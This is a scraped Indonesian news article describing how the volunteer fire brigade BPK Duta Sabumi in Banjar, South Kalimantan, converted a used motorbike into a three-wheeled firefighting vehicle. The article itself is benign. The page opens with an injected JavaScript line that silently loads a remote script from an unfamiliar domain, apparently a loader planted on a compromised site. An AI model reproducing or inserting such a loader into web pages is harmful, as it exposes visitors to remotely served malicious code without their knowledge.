(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Berawal dari jiwa ingin menolong, muncul ide kreatif di benak personel BPK (Barisan Pemadam Kebakaran) Duta Sabumi, sebuah sepeda motor bebek 110 cc berhasil ‘disulap’ menjadi armada pemadam kebakaran.
Gesit, bisa menembus gang sempit hingga lokasi jalan yang tak bisa ditembus armada roda empat, apalagi di saat musim kemarau seperti saat ini, dimana bencana Kebakaran Hutan dan lahan (Karhutla) terus mengancam.
BPK Duta Sabumi termasuk yang ikut andil, selain BPK swadaya masyarakat lainnya yang selalu sigap, cepat dan tanggap.
Saat meluncur ke lokasi Karhutla untuk memadamkan kebakaran lahan di Guntung Ujung, Kecamatan Gambut, Kabupaten Banjar, pada Selasa (29/8/2023) lalu. Sebuah rekaman video beredar di Instagram, dua anggota BPK mengendarai armada sepeda motor yang dimodifikasi untuk dapat memadamkan api.
Baca juga: Komplotan Perampas Motor Ngaku Debt Collector Diringkus Satreskrim Polresta Banjarmasin
Kanalkalimantan.com berkesempatan bertamu ke sekretariat BPK Duta Sabumi di jalan Ahmad Yani Km 15,200 Komplek SMK Gambut RT 023 RW 008, Kecamatan Gambut, Kabupaten Banjar, Kalimantan Selatan.
Diterima dengan hangat lelaki bernama Dani (31) bersama personel lain saat stand by siaga Karhutla, Sabtu (2/9/2023) malam. Dani, Ketua BPK Duta Sabumi mengakui memang benar, di dalam video itu ialah dua anggota BPK Duta Sabumi yang sedang fokus mengejar titik lokasi kebakaran lahan di Guntung Ujung.
Dani dan rekan-rekan menceritakan berawal dari semangat jiwa relawan sosial yang tinggi, mereka harus mempunyai armada angkutan mumpuni ke lokasi kebakaran.
Baca juga: Ganggu Pasokan, Ancaman Sanksi Penjual Air Bersih Pakai Pompa di Banjarmasin
“Kami berpikir, bagaimana kami bisa ikut membantu orang banyak dengan dana tipis, operasionalnya tipis lahirlah ide membikin roda tiga dari sepeda motor ini,” ujar Dani.
Berbagau pertimbangan dan memang karena keterbatasan dana, akhirnya semua anggota sepakat untuk membeli motor bebek bekas.
“Motornya Suzuki Smash tahun 2007 dengan kondisi bekas pakai dengan harga Rp2,6 juta saat itu,” kata Dani.
Baca juga: Habisi Nyawa Istri, Suami Paksa Tulis Daftar Selingkuhan
Bahan motor jadul dengan kapasitas mesin 110 cc itulah, awal armada pemburu api BPK Duta Sabumi siap tempur di lapangan.
“Pembuatan motor ini kurang lebih satu bulan sejak 29 November 2019 hingga 24 Desember 2019, kami perbaiki dan modifikasi sedemikian rupa hingga terlihat seperti sekarang,” katanya.
Pembuatan motor roda tiga ini dari pembelian motor bebek lansiran tahun lawas tidak berhenti sampai disitu saja. Armada angkut BPK Duta Sabumi juga dilengkapi dengan berbagai lampu.
“Habis sekitar Rp8 juta, waktu itu. Tidak termasuk peralatan pemadamnya,” sebut Dani.
Baca juga: Cak Imin Resmi Dampingi Anies, Gus Yahya: Bukan Calon Atas Nama NU
Keberadaan motor roda tiga ini lebih memudahkan BPK Duta Sabumi menanggulangi kebakaran hutan dan lahan di wilayah Gambut dan sekitarnya.
Bermodalkan ilmu yang diperoleh dibangku SMK seperti otomotif, gambar, multimedia dan lainnya, anggota BPK Duta Sabumi dan mekanik bengkel ikut andil dalam menciptakan motor roda tiga ini. Berkonsep ederhana namun multifungsi yang berguna untuk membantu memadamkan api ketika kebakaran.
Desainnya dapat menampung peralatan kebakaran diantaranya mesin alkon 8 HP dengan kapasitas daya dorong 60 meter dengan daya semprot 60M³, selang sedot 2,5 inc, selang penyalur 1,5 inc 5 rol, nozel sprai ukuran 1,5 inchi, nozel zet ukuran 1,5 inchi, ember plastik, helm 2 buah dan senter 2 buah.
Baca juga: Proyek Siring Ponpes Darussalam Martapura Dilanjutkan, Akhir Tahun Rampung
Diakui M Reza, salah satu anggota BPK Duta Sabumi, motor hasil modifikasi ini, hanya satu-satunya di Kabupaten Banjar yang masih beroperasi dari Januari tahun 2019 hingga sekarang 2023.
“Kelebihannya ya lebih simpel masuk gang atau di jalan sempit, hemat biaya bahan bakar minyak, fleksibel, operasionalnya lebih nyaman dan perawatannya pun lebih mudah,” beber M Reza, si pengemudi armada roda tiga ketika terjadi persitiwa.
Biasa hanya dua personel yang biasa mengendarai motor roda tiga modifikasi. “Misalkan di roda tiga ada dua orang yang lain mengikuti pakai motor pribadi masing-masing,” kata Reza.
Sementara untuk mengoperasikan mesin pemadam semua anggota bisa menggunakannya.
Baca juga: Incar Kemenangan dari Persis, Coach RD Tak Mau Tergeser dari Papan Atas
Selain armada motor roda tiga, BPK Duta Sabumi memiliki armada sebuah unit Toyota Kijang, tapi masih proses restorasi perbaikan mobil bekas tersebut.
“Secara bertahap sedikit demi sedikit sambil menerapkan ilmu kami, jika berhasil mobil ini akan kami pergunakan untuk menunjang aksi relawan sosial dan menambah armada kami di lapangan nantinya,” katanya.
Sekada diketahui BPK Duta Sabumi merupakan BPK swadaya masyarakay yang berdiri sejak tahun 2003, namun sempat mengalami vakum. Kemudian bangkit dan aktif kembali pada tahun 2019 hingga sekarang, total personel 15 orang. (Kanalkalimantan.com/nh)
Reporter: nh
Editor: bie
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.